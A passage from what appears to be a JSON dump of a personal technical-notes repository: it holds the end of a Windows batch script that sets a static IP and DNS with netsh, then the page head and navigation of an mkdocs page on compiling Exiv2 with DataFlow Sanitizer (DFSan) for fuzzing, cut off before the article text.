gateway=%mygateway% gwmetric=0 || ^\r\nnetsh interface ipv4 set address name=%uip% source=static addr^\r\n=%myip% mask=255.255.255.0 gateway=%mygateway% gwmetric=0\r\n\r\nnetsh interface ip set dns name=%uip% source=static addr=%mydns% register=PRIMARY || ^\r\nnetsh interface ipv4 set dns name=%uip% source=static addr=%mydns% register=PRIMARY\r\nsc stop dhcp >nul 2>nul\r\n)\r\ngoto end\r\n\r\n:end \r\n"
  },
  {
    "path": "docs/dfsan/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../WindowsSoftware/\">\n      \n      \n        <link rel=\"next\" href=\"../Bitcoin/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>DFSan - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#dataflow-sanitizer\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              DFSan\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          DFSan\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        DFSan\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dataflow-sanitizer\" class=\"md-nav__link\">\n    DataFlow Sanitizer\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"DataFlow Sanitizer\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#compiling-exiv2-with-dfsan\" class=\"md-nav__link\">\n    Compiling Exiv2 with DFSan\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#qa\" class=\"md-nav__link\">\n    Q&amp;A\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Q&amp;A\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#why-docker-image-zjuchenyuanangora\" class=\"md-nav__link\">\n    Why docker image zjuchenyuan/angora\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#why-ldl-lrt-lpthread\" class=\"md-nav__link\">\n    Why -ldl -lrt -lpthread\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#why-compile-expat-and-zlib\" class=\"md-nav__link\">\n    Why compile expat and zlib\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#why-disable-shared\" class=\"md-nav__link\">\n    Why --disable-shared\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#wanna-debug-no-optimization\" class=\"md-nav__link\">\n    Wanna debug? No optimization\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dataflow-sanitizer\" class=\"md-nav__link\">\n    DataFlow Sanitizer\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"DataFlow Sanitizer\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#compiling-exiv2-with-dfsan\" class=\"md-nav__link\">\n    Compiling Exiv2 with DFSan\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#qa\" class=\"md-nav__link\">\n    Q&amp;A\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Q&amp;A\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#why-docker-image-zjuchenyuanangora\" class=\"md-nav__link\">\n    Why docker image zjuchenyuan/angora\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#why-ldl-lrt-lpthread\" class=\"md-nav__link\">\n    Why -ldl -lrt -lpthread\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#why-compile-expat-and-zlib\" class=\"md-nav__link\">\n    Why compile expat and zlib\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#why-disable-shared\" class=\"md-nav__link\">\n    Why --disable-shared\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#wanna-debug-no-optimization\" class=\"md-nav__link\">\n    Wanna debug? No optimization\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n    